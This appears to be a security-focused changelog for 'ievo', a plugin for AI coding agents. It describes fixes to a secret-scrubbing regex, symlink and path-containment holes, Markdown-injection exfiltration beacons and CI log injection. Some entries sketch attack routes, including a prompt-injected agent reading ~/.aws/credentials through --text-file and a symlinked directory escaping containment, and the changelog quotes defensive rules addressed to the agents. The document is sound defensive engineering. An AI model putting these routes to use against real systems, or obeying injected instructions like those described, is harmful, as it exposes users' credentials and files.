• New pass: redactPemBlocks — runs FIRST (before redactNamedSecrets, whose line-scoped value match would otherwise slice the BEGIN marker off a TLS_KEY: -----BEGIN ... line and leave the multi-line body leaking). Redacts complete RFC 7468-style private-key armor wholesale (labels: bare/prefixed PRIVATE KEY, PGP's PRIVATE KEY BLOCK; certificates/public keys deliberately untouched), and fails closed on an unterminated or label-mismatched block by redacting from the orphan BEGIN marker to end of input — the truncated-capture analogue of the existing MALFORMED_QUOTED_VALUE fallback. The strict alternative's lazy body is deliberately unbounded: the end-of-input fallback consumes the rest on any strict failure, so the input pays at most one futile scan — O(input) without the length bound QUOTED_VALUE_INNER needed, and without that bound's cost of routing an over-long complete block away from its real END marker.
• New pass: redactUrlCredentials — runs after redactNamedSecrets, redacts the WHOLE userinfo of scheme://user:pass@host (tokens ride in the username slot too, e.g. token:x-oauth-basic@), keeps scheme + host for diagnostics. Fires only when the password colon is present (ssh://git@github.com stays readable); username may be empty — the issue's own recommended regex required a non-empty username and missed its own redis://:pass@host example payload, so the pattern was re-derived from RFC 3986 instead of copied. /, ?, # are excluded from the userinfo runs per RFC 3986, which both prevents false positives on credential-free host:port/...@... shapes and structurally bounds every scan (linearity pinned by tests, like the existing two).
• Tests — new redactPemBlocks / redactUrlCredentials suites mirroring the existing per-pass suites (label variants, truncated captures, JSON-encoded shapes, false-positive URLs, adversarial linearity timings), plus composite scrub() cases pinning the PEM-before-named ordering, the DATABASE_URL shape no other pass catches, and PEM-across-truncation.
• Scope — plugins/ievo/scripts/scrub.mjs + its test suite; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table; 0.76.2 was claimed by open PR #535, so this PR takes the next free slot (0.76.1 → 0.76.3). discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

v0.76.1

Close a symlink pre-planting hole (CWE-59) in /ievo:update's /tmp staging paths — Eva vuln-scan dogfooding finding, #532.

• Gap closed (#532) — plugins/ievo/commands/update.md Step 2 (fetch/stage) and Step 2.5 (re-audit diff) built their scratch paths from fixed, predictable names (/tmp/ievo-update-staged-<name>.md, /tmp/ievo-update-localcopy-<name>.md, and the skill-directory variants), unlike the file's own CHECKOUT_DIR=$(mktemp -d) two paragraphs earlier. A local, unprivileged co-tenant on a shared host/container could pre-plant a symlink at one of these predictable paths pointing at a victim-writable file (shell rc, git hook); cp without -P and the sed ... > file.tmp shell redirect both follow an existing destination symlink, silently overwriting the attacker-chosen target before the Step 2.5 security-auditor re-audit gate (which only governs the final apply, not these staging writes) ever runs.
• Fix — introduced a per-target STAGE_DIR=$(mktemp -d), created alongside CHECKOUT_DIR in Step 2 sub-step 2 and echoed so its path is recorded against that target's <name>, then routed every staged-fetch write (sub-steps 4/5) and re-audit scratch copy (Step 2.5 cp/sed) through that recorded path — carried forward as the <stage-dir> placeholder and substituted literally — instead of a fixed /tmp/ievo-update-*-<name>* name. Steps 2.5/3.5 deliberately do not read back a $STAGE_DIR shell variable: Step 2.5 audits every changed target in one parallel batch, so a later target's mktemp -d would shadow an earlier one's and strand its staging dir. Step 3.5's cleanup now does a single rm -rf "<stage-dir>" per target instead of a fixed-glob rm -rf. Removes the predictable-name precondition entirely, mirroring the pattern the file already used correctly for CHECKOUT_DIR.
• Scope — plugins/ievo/commands/update.md only; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.76.0 → 0.76.1).

v0.76.0

Add /ievo:contributor-mode-on / /ievo:contributor-mode-off and widen /ievo:feedback's optional payload to offer the existing scrubbed tool-failure/permission-denial capture stream — Phase 1 of #448, operator-narrowed to exclude the transcript-export and standing-consent-to-auto-post proposals also raised on that issue.

• Feature (#448, Phase 1 only) — a new project-local, off-by-default consent flag (.ievo/contributor.flag) that widens what /ievo:feedback may OFFER to attach to a filed report: the environment context every report already collects, plus — only when available — the scrubbed tool-failure/permission-denial records /ievo:evo-auto-enable's signal: corrections+failures already accumulates under .ievo/evolution-candidates/. The existing per-report Submit/Cancel confirmation (/ievo:feedback Step 5) is unchanged on every report, contributor mode or not.
• New skills — plugins/ievo/skills/contributor-mode-on/SKILL.md (shows a static, category-level consent manifest before writing the flag) and plugins/ievo/skills/contributor-mode-off/SKILL.md (removes it, non-destructively — the underlying capture queue is untouched), mirroring the existing debug-on/debug-off flag-only pattern.
• feedback/SKILL.md changes — new Step 3.9 offers to attach up to 20 most-recent scope: tool-failure candidates (capped at 8KB, read-only against the capture queue) when the contributor flag is present and at least one such candidate exists; silently skipped otherwise, same as Step 3.85's log-attach when no log exists. Flow A's body template gained the matching optional <details> section. Description and Rules updated to document the new gate.
• Also found by /ievo:deep-review on this diff (Phase 4.5 dogfooding pass) — Step 3.9's attached records originate from real tool call inputs/outputs (already passed through scrub.mjs's secret/path/length transform, but not through any Markdown-neutralizing step) and are embedded inside a fenced code block in the Step 4 template; a record containing a literal triple-backtick run could have closed that fence early and let the remainder render as live Markdown/HTML in the public issue. Fixed by sizing the fence to one character longer than the longest backtick run found in the attached lines (same containment principle as this file's existing "Identifier containment" note, applied to a multi-line block instead of an inline span). Also fixed on the same pass: the attach-confirmation's <N> count is now explicitly min(collected count, 20) so it can't disagree with the option description's "up to 20", and the Step 4 template's fence label no longer claims jsonl for lines that aren't valid standalone JSON.
• Consent copy corrected to match the actual payload (review round 1) — both opt-in surfaces claimed the attachable records carry "no raw file contents". They can. The failure-capture hook (evo-auto-enable/SKILL.md Step 3.6) builds each record as {event, tool, outcome, detail: {error, tool_input}}, so a denied Write/Edit records that call's content/new_string — raw file text — and scrub.mjs only redacts secret-shaped values, rewrites $HOME paths, and truncates to 500 code points; it strips no code or file content. feedback/SKILL.md Step 3.9's Attach option description (which contradicted that step's own fence-containment note) and contributor-mode-on/SKILL.md Step 2's consent manifest now both state what a record actually contains, and point at .ievo/evolution-candidates/*.jsonl so the user can read their own records before choosing. The ## Scope bullet in the same skill gained the matching "redaction, not removal" clause so the file can't drift back into the softer claim.
• Doc sync — added the two new skills to coverage-audit.md's coverage map + file tree, README.md's Skills table + directory tree, and AGENTS.md's repo-layout skill tree, alongside the existing debug-on/debug-off entries (all three files were already missing rows for several other previously-shipped skills — a pre-existing gap left as-is, out of scope for this change).
• Explicitly out of scope, not built here — the router held this issue twice on security-sensitivity grounds; the operator's 2026-08-01 approval narrowed it to exactly the above and excluded (1) a distilled session-transcript/.jsonl export ("Phase 2" — a separate, larger, more security-sensitive surface needing its own design/approval) and (2) a later /ievo:i-am-contributor follow-up proposing standing consent to auto-post without the per-report confirmation (increases risk rather than decreasing it — deserves its own dedicated review). Neither is implemented, referenced as buildable, or hinted at by any new code path here.
• Scope — plugins/ievo/skills/contributor-mode-on/SKILL.md (new), plugins/ievo/skills/contributor-mode-off/SKILL.md (new), plugins/ievo/skills/feedback/SKILL.md, coverage-audit.md, README.md, and AGENTS.md's skill tree; the rest of the diff is the mandatory version-bump ceremony below.
• Version — feat: → minor per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.11 → 0.76.0).

v0.75.11

Contain evolution_candidates.mjs's --text-file flag to the project's own .ievo/ directory, cap its size, and run it through scrub.mjs's full scrub() transform — redaction plus $HOME-path rewriting and a 500-code-point truncation — closes #523.

• Gap closed (#523) — appendCandidate()'s --text-file handling (plugins/ievo/scripts/evolution_candidates.mjs) passed the caller-supplied path straight to readFileSync with no resolve()/containment check restricting it to the project or any allowlisted directory, no size cap, and no call to scrub.mjs's secret-redaction pass. The correction-capture hook that drives this flag exists precisely to capture agent-session text, which can itself be adversarial (a compromised or prompt-injected agent turn issuing a different --text-file value directly via Bash) — so any file readable by the process (~/.aws/credentials, ~/.netrc, a project .env, an SSH private key) could be captured verbatim into a session's .jsonl record, later surfaced in review queues or a published GitHub issue.
• Fix — --text-file is now resolved and required to sit inside <projectRoot>/.ievo/ (assertTextFileAllowed, mirrors scan_repo.mjs's assertContained()); the target must be a regular file under a 256 KB cap (assertTextFileReadable, mirrors scan_repo.mjs's MAX_SCAN_FILE_BYTES/isOversized()); and the file's content is run through scrub() before it is trimmed and persisted — giving --text-file the same redaction guarantee the failure-capture hook already applies externally before writing its own --text-file. The --text (argv) path is unchanged: no production caller uses it today.
• Capture-behaviour change (--text-file content is no longer persisted verbatim) — scrub() is not redaction-only, so routing --text-file through it changes what a captured correction looks like on disk, not just whether it can carry a secret. After redacting, scrub() also (a) rewrites $HOME-absolute paths to ~-relative ones (rewriteHomePaths, so a captured correction never leaks the local username) and (b) caps the result at scrub.mjs's MAX_CODEPOINTS (500 Unicode code points) with a …[truncated] marker. A correction longer than 500 code points is therefore now stored truncated, and one quoting an absolute home path is stored ~-relative. Accepted deliberately rather than cherry-picking only the redaction stages: capture parity with the already-shipped failure-capture path (which has always applied the whole transform before writing its own --text-file) is the point of the change, a correction worth reviewing is a sentence or two rather than 500+ code points, and the ~-relative form is the more useful one in a review queue. Both stages are now pinned by their own tests in evolution_candidates.test.mjs, so a later scrub.mjs change can't move --text-file's persisted shape silently.
• Also found by /ievo:deep-review on this diff (Phase 4.5 dogfooding pass) — a symlinked ANCESTOR directory under .ievo/ (e.g. .ievo/link -> ~/.aws, then --text-file .ievo/link/credentials) passed the initial lexical containment check and an lstat-only regular-file guard, since lstat's non-follow behavior applies only to the path's final component — every intermediate directory is still resolved normally. Fixed by re-verifying containment against the realpath of both the target and .ievo/ once the target is known to exist, mirroring scan_repo.mjs's assertCheckoutContained().
• Also found by /ievo:vuln-scan on this diff, reviewed and deferred (not fixed here) — (1) a TOCTOU window between the containment/type/size checks and the actual read, exploitable only by an attacker who can already run a concurrent local process racing the filesystem — mirrors an already-accepted pattern elsewhere in this plugin (scan_repo.mjs's isOversized() followed by a separate readFileSync()); noted in a code comment rather than fixed, since closing it fully means re-reading through a single file descriptor (open with O_NOFOLLOW + fstat + read) instead of three path-resolving calls — a larger architectural change out of scope for this issue. (2) scrub.mjs's existing redaction patterns don't cover PEM-armored private-key blocks or bare-whitespace (non :/=) credential syntax (e.g. .netrc-style password <value>) — a pre-existing gap in scrub.mjs itself (unchanged by this PR beyond its version bump) that equally affects the already-shipped failure-capture path; flagged here for a follow-up rather than patched inline, given how failure-prone incremental changes to that regex have been historically (see the v0.75.6 entry below and its own two follow-up rounds).
• Scope — plugins/ievo/scripts/evolution_candidates.mjs (two new guard functions + appendCandidate wiring, plus the realpath re-check above, and a HELP_TEXT note documenting the .ievo/ restriction and the scrub transform for anyone reading --help rather than the source) and plugins/ievo/scripts/tests/evolution_candidates.test.mjs (containment/size-cap/non-regular-file/symlinked-ancestor/scrub-redaction coverage plus the truncation and $HOME-rewrite pins above, plus updating existing --text-file fixtures to live under .ievo/); the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.10 → 0.75.11).

v0.75.10

Correct evolution.md's stale "nested spawning off by default" wording — closes #484.

• Gap closed (#484) — plugins/ievo/agents/evolution.md's frontmatter comment and Step 2.5 body attributed its no-nested-security-auditor-dispatch behavior to a platform default (CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH, "off by default"). That was accurate when verified (2026-07-23) but went stale with Claude Code v2.1.219 (2026-07-24), which flipped nesting on by default (depth 3) and made the env var an opt-out, not an opt-in.
• Fix — reworded both sites to attribute the behavior to evolution.md's own tools: grant (it never lists Agent/Task), not the platform default, and mirrored the corrected framing already in AGENTS.md § Security model (from #482). Also updated that section's own now-stale cross-reference to skills#484. Wording only — no behavior change, since the agent could not dispatch a nested sub-agent either way.
• Scope — plugins/ievo/agents/evolution.md, AGENTS.md; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.9 → 0.75.10).

v0.75.9

Wrap <owner/repo@skill> identifiers in an inline code span in feedback/SKILL.md's Flow B rejection-reasons template — closes #494.

• Gap closed (#494) — Flow B's "Installed"/"Skipped with reasons" lists embedded an attacker-influenced <owner/repo@skill> identifier (sourced from a candidate's own frontmatter via discover.mjs/skills.sh) raw into a public, auto-rendering GitHub issue body. A crafted identifier containing GFM image/link syntax (![...](...)/[...](...)) would render live the moment anyone opened the filed issue — an unauthenticated beaconing/spoofed-link injection.
• Fix — every <owner/repo@skill> value is now wrapped in an inline code span before interpolation, mirroring security-check/SKILL.md's existing "Excerpt containment" rule and vuln-scan/SKILL.md's identical pattern for title/exploit_chain.*.
• Scope — plugins/ievo/skills/feedback/SKILL.md (template + a Rules-section cross-reference); the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.8 → 0.75.9).

v0.75.8

Guard scan_repo.mjs's enumerateHooks()/enumerateMcp()/enumerateOnePlugin() against a null entry — and against a null document root — in a scanned repo's hooks.json/.mcp.json/plugin.json, closing an unauthenticated-attacker scanner-crash gap — closes #521.

• Gap closed (#521) — enumerateHooks() (plugins/ievo/scripts/scan_repo.mjs) iterated a hooks.json event array and read h.matcher/h.hooks (then first.command/first.type on the first inner hook) with no check that either was a non-null object first; enumerateMcp() iterated .mcp.json's mcpServers map and read config.url/config.command the same way. A scanned repo shipping {"hooks":{"PreToolUse":[null]}} or {"mcpServers":{"evil":null}} — both syntactically valid JSON — crashed the scanner process with an uncaught TypeError the moment the null entry was dereferenced, denying indexing of that repo (or a whole batch job) for the public community index. A sibling of the already-fixed truncate() null-coercion crash, in two functions that fix never touched.
• Fix — enumerateHooks() now skips a hook-list entry that isn't a non-null object (if (!h || typeof h !== "object") continue;) before reading h.matcher/h.hooks, and falls back to the existing "—" placeholder for command when the first inner hook is likewise not a non-null object, rather than dereferencing it. enumerateMcp() skips an mcpServers value that isn't a non-null object before reading config.url/config.command. Both match the file's existing defensive convention (a malformed entry is silently skipped/placeholder-filled, e.g. the pre-existing non-array hookList skip) — additive, no behavior change for well-formed input.
• Root-document sibling (same gap, one byte away) — the per-entry guards above left the parsed root unguarded: JSON.parse accepts a bare null (and 1/"x"/true) as a well-formed document, so it never reaches the catch, and the root is then dereferenced outside the try — data.hooks (enumerateHooks), data.mcpServers (enumerateMcp), manifest.author (enumerateOnePlugin). A hooks.json/.mcp.json/plugin.json whose entire content is null crashed the scanner with the identical uncaught TypeError. All three now reject a non-object root (!data || typeof data !== "object") and return the same absent/default shape they already returned for unparseable JSON.
• Scope — plugins/ievo/scripts/scan_repo.mjs (five guard clauses) plus new regression coverage in plugins/ievo/scripts/tests/scan_repo.test.mjs (null and non-object entries for both functions, mixed valid/malformed lists, and null/scalar document roots for all three functions); the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.7 → 0.75.8).

v0.75.7

Add an excerpt-containment rule to review-retrospective.md, closing a markdown-injection gap in its cluster report — closes #522.

• Gap closed (#522) — plugins/ievo/agents/review-retrospective.md Step 3 records "a one-line symptom+evidence excerpt" per finding, and Step 4's report template embeds that excerpt verbatim in each cluster's Findings bullet with no fencing instruction anywhere in the file. The excerpt is untrusted text sourced from arbitrary GitHub contributors' PR reviews, inline comments, thread replies, and issue comments (this agent's own Step 1 collects these). The report is rendered as Markdown on two surfaces — review-retrospective/SKILL.md Step 3 presents it to the user as-is (including in the Claude Code chat UI, which renders Markdown), and Step 4 writes parked clusters verbatim into .ievo/evolution-candidates/retrospective-pending.md, also rendered whenever a human opens it — so a crafted ![...](...) or spoofed [...](...) in a planted review/comment could smuggle a live-rendering exfiltration beacon or phishing link into either surface.
• Fix — ported the "Excerpt containment" rule that deep-reviewer.md, vuln-scanner.md, and security-auditor.md already carry for the same class of untrusted, verbatim-quoted evidence: wrap a Findings bullet's symptom+evidence excerpt in an inline code span (backticks), sized one character longer than the longest backtick run already inside the excerpt, before it reaches the report. Added to Step 4 (mirroring where the sibling agents place it, right after their report templates) and cross-referenced from ## Rules. The same fencing covers the report's other verbatim untrusted field, the ### PR summary - Title: line — the PR title is dispatch input review-retrospective/SKILL.md Step 2 itself labels untrusted, and it renders on the same two surfaces; the remaining summary values (url, merged_at, merge_commit_sha, the counts) are API-shaped, not contributor-authored, so they stay unfenced.
• Scope — one file, plugins/ievo/agents/review-retrospective.md; no schema or behavior change beyond the added containment instruction. The rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.6 → 0.75.7).

v0.75.6

Widen scrub.mjs's unquoted-value redaction to the full value instead of its first token, closing a multi-word-secret leak — closes #493.

• Gap closed (#493) — ASSIGNMENT_RE's unquoted-value alternative (plugins/ievo/scripts/scrub.mjs, redactNamedSecrets) was [^\s,;"'\r\n]+, which stops matching at the first whitespace character. For an unquoted secret-shaped assignment whose value itself contains a space (PASSWORD=my secret pass, DB_PASSWORD=correct horse battery staple), String.replace() only redacts the matched span — the first token — and copies every subsequent word through untouched (PASSWORD=[REDACTED] secret pass), defeating the script's sole stated contract that a persisted .ievo/evolution-candidates/<session-id>.jsonl record "can never carry a live secret."
• Fix — widened the unquoted-value alternative so it keeps matching past internal whitespace, stopping only at a comma/semicolon/quote/CRLF (unchanged), the start of another secret-shaped NAME<sep> further along the same line (so back-to-back assignments — A_TOKEN=one B_SECRET=two — still redact independently), or the end of input. The new per-position "is this the next assignment" check consumes a whole run of non-whitespace or a whole run of horizontal whitespace per iteration rather than one character at a time, so its cost stays linear in the value's length without needing a length cap (an earlier draft bounded the match at 255 extra characters, mirroring PROVIDER_SECRET_RE's existing bound, but that also silently truncated redaction of a previously-unbounded whitespace-free value past that length — caught by /ievo:deep-review, see below). Added regression coverage: the issue's own multi-word PoC values, two assignments sharing a line with multi-word values, a value containing a word that merely looks like (but isn't followed by a separator matching) a secret name, confirmation the comma-stop behavior is preserved, a long whitespace-free value with no length cap, and confirmation a trailing newline is never swallowed into the redacted span.
• Also found by /ievo:vuln-scan on this diff (Phase 4.5 dogfooding pass, not part of the original #493 report) — two further redaction bypasses in the same ASSIGNMENT_RE, fixed on this branch before the PR opened:
  • The widened unquoted-value alternative still excluded '/" from its continuation runs, so an apostrophe/contraction inside an otherwise-unquoted value (PASSWORD=don't share this) reproduced the exact same partial-redaction bug the multi-word fix above closes, just triggered by a quote character instead of whitespace. Fixed by only rejecting a leading quote (so a value that genuinely starts with a delimiter quote still routes to the quoted alternatives) — quote characters inside the value are now ordinary content.
  • The strict quoted-value alternative's inner class ([^"'\r\n]*) excluded BOTH quote characters, not just the one that opened the value, so a double-quoted value containing an embedded apostrophe ("api_key": "user's real api key is abc123xyz") never found its own closing " — and unlike the unquoted case, this failed the ENTIRE NAME=value match outright, leaving it 100% unredacted with no [REDACTED] marker to hint anything was missed. Fixed by making the inner match lazy ([^\r\n]*?) and closing on a backreference to whichever quote character opened it, so it correctly finds the first subsequent SAME-type quote instead of stopping at either type. A new fallback alternative additionally handles a value that visibly starts with a quote but has no closing quote at all before end-of-line/input (a truncated capture) — redacting from the opening quote onward instead of leaving the segment completely unmatched.
• Follow-up found in review — that truncated-capture fallback stopped at a comma/semicolon ([^,;\r\n]), inherited from the unquoted-value rules. But it only fires after an opening quote has been consumed, and inside a quoted value a ,/; is ordinary content, not a delimiter — so PASSWORD="my secret, more secret (a capture cut off before its closing quote) redacted only as far as the comma and copied , more secret through in cleartext, exactly the partial-leak class this release closes. Widened to [^\r\n]; the stops that remain are the ones that are genuine separators in that position (CRLF, the next secret-shaped NAME<sep> on the same line, end of input). A properly closed quoted value is unaffected — the strict alternative is tried first, so PASSWORD="my secret, more secret" trailing still keeps its trailing.
• Second follow-up found in review — the same partial-leak class was still open in the strict quoted alternative. Its lazy inner match closed on the first subsequent same-type quote with no check on what followed, so a quote interior to the value terminated it: PASSWORD='don't share this xyz → PASSWORD='[REDACTED]'t share this xyz, and {"db_password":"p@ss\"real"} likewise (the already-covered 'tis the season fixture was one apostrophe from the same failure). Fixed in two parts, both fail-closed. (1) A closing quote is accepted as a terminator only when a real delimiter follows it — whitespace/CRLF, ,/;, }/]/), or end of input; otherwise the value falls through to the truncated-capture fallback and redacts to end of line. (2) The inner match is backslash-escape aware ((?:[^\r\n\\]|\\[^\r\n])*?), because an escaped \" followed by a delimiter — routine in the JSON-encoded tool output this script scrubs ("p@ss\" real") — satisfies that boundary and would still have closed the value early. Escape awareness can only push the accepted closer later, never earlier, so it can only widen a redacted span, never introduce a new under-match. A value that closes properly keeps its trailing text as before, and a real closing quote past an interior one is now found rather than missed: PASSWORD='don't share this' → PASSWORD='[REDACTED]'. Every pre-existing fixture is byte-identical under the new pattern; the cost is over-redaction to end of line when a value genuinely closes on a quote followed by a non-delimiter (TOKEN="abc"def), pinned by its own test.
• Third follow-up found in review — the truncated-capture fallback matched its value one character at a time ([^\r\n]), so NEXT_ASSIGNMENT_LOOKAHEAD’s leading \s+ was re-attempted at every position inside a whitespace run and backtracked across the whole remaining run on each attempt — quadratic in the run’s length on PASSWORD=" followed by a long space run. That input is untrusted and not yet truncated, since scrub() caps length LAST by design, so the cost is attacker-influenced: 50k spaces took ~5.5s. This is the same cost the unquoted-value alternative was already restructured to avoid, left unfixed in the malformed-quoted branch. Fixed by consuming whole runs there too — a run of non-whitespace or a run of horizontal whitespace per iteration — so the lookahead is probed once per run rather than once per character (same input: under 10ms). The redacted span is unchanged: the two classes are disjoint and their union is exactly [^\r\n], and because \s+ backtracks, the lookahead succeeds at a whitespace run’s first character whenever it succeeds anywhere inside that run — verified by differential-fuzzing the old and new patterns over 200k generated inputs (zero output differences) on top of the existing fixtures. Pinned by a timing regression test (5478ms before, single-digit ms after, against a deliberately loose 1000ms budget) plus a stop-position test covering multi-space runs.
• Fourth follow-up found in review — the quadratic fixed in the malformed-quoted branch above was still open in the strict quoted one, via a different mechanism. Its lazy inner ((?:[^\r\n\\]|\\[^\r\n])*?) was unbounded, so when no same-type quote on the line is followed by a QUOTED_VALUE_CLOSE delimiter it scanned all the way to end of line before failing — and the malformed fallback that catches that failure then advances the scan position by only a couple of characters, so the futile end-of-line scan restarted at every assignment on the line. 'PASSWORD="a '.repeat(n) is one such line: 159ms at 24 KB, 620ms at 48 KB, 2500ms at 96 KB, quadrupling per doubling, again on untrusted input that scrub() has not truncated yet. Whole-run consumption cannot fix this one — the cost is one full scan per restart, not re-probing inside a run — so the inner repetition is now bounded at 255 units ({0,255}?), matching the bound PROVIDER_SECRET_RE already carries for the same reason; a unit is one character or one backslash-escape pair. A length bound is safe here although one was tried and rejected on the unquoted-value alternative earlier in this release, and the difference is which way it fails: overflowing this bound makes the strict alternative fail outright, dropping the value into the redact-to-end-of-line fallback, so it can only ever widen a redaction, whereas the unquoted cap truncated the redacted span itself and copied the tail through in cleartext. Same input after the fix: 5ms / 9ms / 19ms, and a full scrub() of 480 KB of the PoC in 99ms. Output equivalence with the unbounded pattern was checked by differential fuzzing over 300k generated inputs (zero differences), with the only intended divergence pinned separately: TOKEN="<256+ chars>" tail now yields TOKEN=[REDACTED] instead of TOKEN="[REDACTED]" tail, losing the undelimited tail but never a byte of the value. Pinned by a timing regression test for the strict branch (the previous round's timing test covered only the malformed branch) plus a bound-boundary test at 255 units, 256 units, and 255 escape pairs.
• Behaviour change — over-redaction of undelimited trailing text — widening the unquoted-value match to span internal whitespace means a secret-shaped assignment with no delimiter between its value and the prose after it now redacts to end of line. A diagnostic tail is therefore lost: run_id: 7f3a failed status 500 → run_id: [REDACTED] (with a delimiter, run_id: 7f3a failed, status 500 → run_id: [REDACTED], status 500, the tail survives). This is deliberate and fail-closed — the alternative is under-matching a secret whose value contains spaces, which is the bug being fixed — but it is a real loss of log fidelity, so it is pinned by its own test rather than left implicit.
• Scope — the regex widen plus the five follow-up fixes above, all in scrub.mjs's ASSIGNMENT_RE/redactNamedSecrets, and new test cases in scrub.test.mjs for all six; no change to provider-secret matching or truncation. rewriteHomePaths is likewise unchanged as code, but home-path rewriting is observably affected in composite scrub() use: a $HOME path sitting in an undelimited tail after a secret-shaped assignment (token=<secret> at $HOME/work) is now consumed by the redaction that runs before it, so it is removed rather than rewritten to ~/work — the same over-redaction described in the bullet above, and the reason two existing pipeline-ordering tests needed delimited fixtures. Companion #507 (digit-leading name matching, different root cause, same file) is untouched here.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.5 → 0.75.6).

v0.75.5

Strip control characters from the file path/directory name validate_skills.mjs/validate_agents.mjs echo to CI logs, closing a log-injection gap — closes #495.

• Gap closed (#495) — both validators' main() computes rel = relative(process.cwd(), filePath) and prints it unstripped via log(\✓ ${rel}`)/log(`✗ ${rel}`); validate_skills.mjs's validateSkill()also computesparentDirName = basename(dirname(filePath)), interpolated unstripped into its name-dir-mismatchmessage. Both already defineCONTROL_CHAR_REand apply it to parsed frontmatter values (the #378/v0.54.10 fix) specifically because a raw ESC byte in a crafted value survives untouched otherwise and can inject ANSI/control sequences into a CI log or terminal viewer — but neither script extended that guard to the path-echoing call sites. A git tree entry name may contain arbitrary bytes other than/` and NUL, so a PR that adds/renames a SKILL.md directory or agent file with embedded ANSI escape bytes in its path got that path echoed live into the GitHub Actions log viewer, letting a malicious PR visually spoof CI output (e.g. hiding a real violation behind a fabricated passing line).
• Fix — apply CONTROL_CHAR_RE.replace() to rel in both files' main(), and to parentDirName in validate_skills.mjs's validateSkill() (sanitized once at computation, before it reaches either the equality check against the already-stripped fm.name or the violation message) — same fix pattern as #378, extended to the two sibling call sites it didn't cover.
• Scope — two small, targeted diffs in plugins/ievo/scripts/validate_skills.mjs and plugins/ievo/scripts/validate_agents.mjs (no schema or behavior change for any non-adversarial path/name), plus new regression coverage in both test files proving an embedded ESC byte never reaches the printed rel/name-dir-mismatch message; the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.4 → 0.75.5).

v0.75.4

Make the project-wide overlay marker's neither-file-exists fallback platform-aware, closing a Codex-invisible marker gap — closes #511.

• Gap closed (#511) — evo/SKILL.md Step 3 and agents/evolution.md Step 3 pick a host file for the project-wide overlay marker by priority: thin-pointer CLAUDE.md → AGENTS.md (the #304/#309 fix), else existing CLAUDE.md, else existing AGENTS.md, else create CLAUDE.md unconditionally. That last fallback was untouched by #304/#309, which only fixed the thin-pointer-exists branch. On Codex, in a fresh project with neither file present, /ievo:evo still created CLAUDE.md — a file Codex never reads — so the captured overlay was written but never became an active project rule.
• Fix — the neither-exists fallback in both files now checks $CODEX_CLI (the same detection Step 1 already uses to pick load paths): set (Codex) creates AGENTS.md, unset (Claude Code) still creates CLAUDE.md — no behavior change for existing Claude Code users. Both the primary evo skill path and the evolution sub-agent dispatch path were updated in lockstep, per the #304/#309 precedent that a fix landing in only one of the two files leaves the other's dispatch path on the old behavior. Each file documents the regression scenario inline as the "regression case" — this repo's skill/agent prose logic has no node:test harness to encode it as an executable regression test.
• Scope — additive conditional in two Markdown files' Step 3 prose (no schema, CI, or behavior change to the thin-pointer/existing-file branches, which are untouched); the rest of the diff is the mandatory version-bump ceremony below.
• Version — fix: → patch per AGENTS.md's bump table. discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.75.3 → 0.75.4).

v0.75.3

Add a redaction rule to deep-reviewer.md's Point 11, closing a leaked-secrets re-emission gap — closes #498.

• Gap closed (#498) — plugins/ievo/agents/deep-reviewer.md's Point 11 ("Leaked secrets in the diff") instructs the agent to flag a matched credential as a blocker, and the Step 3 report template requires a concrete Issue: description for every finding — but neither Point 11 nor ## Rules contained an instruction to redact the matched value before quoting it as evidence. The sibling vuln-scanner.md agent already carries an explicit "Never echo raw secret values" rule for exactly this scenario; deep-reviewer.md never received the equivalent fix, so a real credential caught by Point 11 was re-emitted verbatim into the review report — a new artifact with potentially wider reach than the original diff (chat transcript, CI logs, a posted PR review comment).
• Fix — ported vuln-scanner.md's redaction rule to deep-reviewer.md as a new ## Rules bullet ("Never echo raw secret values"), placed immediately after the existing "Neutralize excerpts before they render" bullet it counterweights — mirroring the source's own precedence language: the redaction rule takes precedence over excerpt containment for the secret substring specifically (redact first, then fence whatever excerpt text remains), so the two combine rather than conflict. Point 11 itself gains a forward-pointing sentence instructing the agent to redact the value (AKIA****, sk-****) when citing a real match as evidence, while still citing file + line.
• Scope — additive instruction-only change to one agent Markdown file (no schema, CI, or behavior change to non-malicious diffs); the rest of the diff is the mandatory version-bump ceremony below. deep-review/SKILL.md's display-side Step 5 needs no change — redaction happens upstream in the agent, before the report is ever rendered.
